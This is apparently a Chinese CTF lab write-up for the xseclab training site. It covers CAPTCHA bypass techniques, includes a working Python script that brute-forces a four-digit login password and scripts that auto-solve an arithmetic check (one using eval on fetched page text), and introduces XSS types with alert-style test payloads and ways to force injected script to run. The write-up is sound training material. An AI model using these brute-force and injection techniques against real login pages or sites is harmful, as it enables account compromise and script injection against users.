在登陆中通常我们需要验证码,但有些时候在设计的时候会存在一些漏洞。
1)一次验证
在验证中 随意填写账户密码 验证码正确填写 username=admin&pwd=1234&vcode=28ps&submit=submit pwd error
第二次重复提交显示的是 pwd error 说明对验证有漏洞
已知密码为纯四位,我们使用burp suite爆破就可以,找到响应中字节最多的就是结果 因为有flag。(关于Bp的使用我们上文已经讲过了,这里就不在多加叙述)
下面我们也附上编写的脚本吧:
import requests
# 针对一次性验证码 爆破数字密码用
url = 'http://lab1.xseclab.com/vcode1_bcfef7eacf7badc64aaf18844cdb1c46/login.php'
header = {
"Host": "lab1.xseclab.com",
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:49.0) Gecko/20100101 Firefox/49.0",
"Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8",
"Accept-Language": "zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3",
"Accept-Encoding": "gzip, deflate",
"Referer": "http://lab1.xseclab.com/vcode1_bcfef7eacf7badc64aaf18844cdb1c46/index.php",
"Cookie": "PHPSESSID=7667f63d7c38a42374e3afaa9a203d86",
"Connection": "close",
"Upgrade-Insecure-Requests": "1",
"Content-Type": "application/x-www-form-urlencoded",
"Content-Length": "48"
}
# 设置参数变化范围
start = 1000
final = 9999
step = 1
startlength = 0 # 记录初始返回相应的长度 如果响应长度发生变化 那就是找到了
for i in range(start, final, step):
payload = {'username': 'admin', 'pwd': i, 'vcode': 'JQ28', 'submit': 'submit'}
contents = requests.post(url=url, headers=header, data=payload).content.decode('utf-8')
if i == start:
startlength = len(contents)
else:
if len(contents) > startlength:
print("%d : %s" % (i, contents))
break
(2)验证便失效的验证码
验证第一次是 pwd error 而第二次重复提交是 vcode error 实际上是不需要vcode了 以后可以不提供使vcode=空
然后继续使用burp suite爆破
(3)验证码重叠
对于两个账号的验证,验证码是一样的,我们需要从第一个账号获取验证码,然后使用第二个进行登录
你的手机号码是13388886666,请登录 --》获取验证码 --》submit 显示:请使用13388886667登录
设置账号13388886667 --》获取验证码 显示:已经发到别人手机上了 你看不到
whrite up :13388886666获取验证码 --》13388886667使用该验证码登录
(4)验证码爆破
某些应用中,账号是已知,验证码虽然未知但是对其长度和字符的限制是已知的,我们可以进行爆破
手机客户端登录 已知账号13388886666 vcode是3位纯数字,开头不为0,都这么说了,估计就是要去爆破了
观察载荷之后 需要爆破另外一个手机号登录 继续 最后得到falg
(5)图片验证吗 爆破
使用工具 PKAV HTTP Fuzzer a,次时代验证码识别引擎 b,非图片型验证码 c,亦思验证码识别引擎 d,自带识别引擎
(6)小明的急速心算
看到的是这么一个题目,小明需要在多少秒内输入结果才能过测试,但是数学不好,所以我们要编写脚本进行帮忙,这也是一种变相的验证吧。这里分享两个脚本,一个是我的,一个是大佬的。这里需要关注的要点就是正则匹配的应用,包括匹配符号,匹配位置,匹配的小括号子表达式,不过大佬的就是大佬,厉害啊。
这种web题目我们首先需要将网页中的关键部分提取出来,经过计算之后在提交上去,在本题中是四个大数字的运算,类似于 2559*81551+1066*(2559+81551),只有数字是变的,符号顺序等不变,wide脚本是这样的:
import requests
import re
url = "http://lab1.xseclab.com/xss2_0d557e6d2a4ac08b749b61473a075be1/index.php"
respon = requests.get(url)
# print(respon.content)
# rmatch = re.compile("[0-9]{2,5}")
# # 2559*81551+1066*(2559+81551)
# findall 和 match的区别 match是匹配不上的 因为是从源头匹配 匹配不到就没有结果
es = re.findall(r"\d{2,6}", respon.content.decode('utf-8'))
result = int(es[0])*int(es[1])+int(es[2])*(int(es[3])+int(es[4]))
# print(result)
# 第二次提交数据 注意提交数据也是键值对形式
date = {"v": str(result)}
header = {'Cookie': 'PHPSESSID=356ee82e732bcef813ac0b37ba8fddf5'}
response = requests.post(url, headers=header, data=date)
print(response.content.decode('utf-8'))
还看得过去吧,不过大佬的脚本是这样的:
import requests
import re
url = 'http://lab1.xseclab.com/xss2_0d557e6d2a4ac08b749b61473a075be1/index.php'
header = {'Cookie': 'PHPSESSID=356ee82e732bcef813ac0b37ba8fddf5'} #填入自己的cookie
contents = requests.get(url, headers = header).content.decode('utf-8')
matches = re.search("(.+)=<(input)", contents)
data = {'v': str(eval(matches.group(1)))}
contents = requests.post(url, headers=header, data=data).content.decode('utf-8')
matches = re.search("<body>(.*)</body>", contents)
print(matches.group(1))
他使用了子表达式匹配和eval的方法,着实厉害,不愧是大佬,会的就是多
XSS跨站脚本简介
XSS攻击全称跨站脚本攻击,是为不和层叠样式表(Cascading Style Sheets, CSS)的缩写混淆,故将跨站脚本攻击缩写为XSS,XSS是一种在web应用中的计算机安全漏洞,它允许恶意web用户将代码植入到提供给其它用户使用的页面中。
通常我们嵌入的信息会被当做代码执行,所以在页面上是看不到我们的代码的,但是存储在数据库中的信息时可以被看到的。
XSS攻击可以分成两种类型:
1.非持久型攻击
2.持久型攻击
非持久型xss攻击:顾名思义,非持久型xss攻击是一次性的,仅对当次的页面访问产生影响。非持久型xss攻击要求用户访问一个被攻击者篡改后的链接,用户
访问该链接时,被植入的攻击脚本被用户游览器执行,从而达到攻击目的。
持久型xss攻击:持久型xss,会把攻击者的数据存储在服务器端,攻击行为将伴随着攻击数据一直存在。如评论区或者信息区
并且还可以分为
反射型:经过后端,不经过数据库 存储型:经过后端,经过数据库
DOM:不经过后端,DOM—based XSS漏洞是基于文档对象模型Document Objeet Model,DOM)的一种漏洞,dom - xss是通过url传入参数去控制触发的。
(2)实际利用
https://blog.csdn.net/u011781521/article/details/53894399/
反射型:对于一些输入框或者是url连接 没有过滤并且还可以执行代码,我们可以提交<script>alert('123')</script>进行测试
反射型 XSS 的数据流向是:浏览器 -> 后端 -> 浏览器。
存储型:另一种就是用户输入的内容还是没有过滤,但是不直接显示在页面中,而是插入到了数据库。当需要作为留言等显示时有可能被执行
储型 XSS 的执行位置通常不同于输入位置。我们可以看出,存储行 XSS 的数据流向是: 浏览器 -> 后端 -> 数据库 -> 后端 -> 浏览器。
DOM:传入的参数被使用,没有经过过滤,就被获取然后经过网页的计算而输出,我们可以通过构造参数来达到目的
xss.php?name=<img src-1 onerroe=alert(1)> 在解析name参数赋值给text并print时 会发生XSS攻击
DOM-XSS 的数据流向是:URL-->浏览器
(3)如何让 innerHTML 进来的 scrip 代码跑起来
前台请求一个接口,接口返回一些 HTML 标签拼接成的字符串,以供前端直接 innerHTML 生成 DOM 元素,这样的做法非常普遍。但是你是否遇到过,如果字符串中拼接的 HTML 标签中有
script 标签,那么该段脚本是无法执行的,这并不是 bug,而是 w3c 的文档规定的。
方法1:思路非常简单,构造新的 script 标签,然后该标签的 innerHTML 赋值为需要渲染的脚本。伪代码如下
<script>
// 模拟接口返回数据
var strVar = "";
strVar += "<script>alert('hello world')<\/script>";
document.getElementById('myDiv').innerHTML = strVar;
</script>
var s = document.createElement('script');
s.innerHTML = text;
document.body.appendChild(s);
当然如果要写的完美一点,执行完 s 后还需要 remove 掉。如何获取 text 值?两个方法,其一可以正则匹配 strVal,提取 script 标签内的内容,这点和 BigRender 类似,而 BigRender 除了提取 script 标签,还
需要提取 style 标签,无疑更复杂;第二个方法是可以用 document.getElementsByTagName('script') 获取插入 DOM 但并未执行的 script 脚本,但是这样会把页面所有脚本全部提取,所以还需要判断。(可以获取某一节点下的 script
标签)如果是外部的 js 文件,需要为新建的 script 元素添加 src 属性即可。
方案二:eval 大法
事实上,如果是inline JavaScript,方案一求得的text,可以直接eval执行 。
但是如果是外联js文件,同上,需要新建script标签然后指定src属性。
对于XSS看到的一个知识点是,我们可以插入img标签,并且指定它的src属性,那么浏览器就会去指定地址下载信息。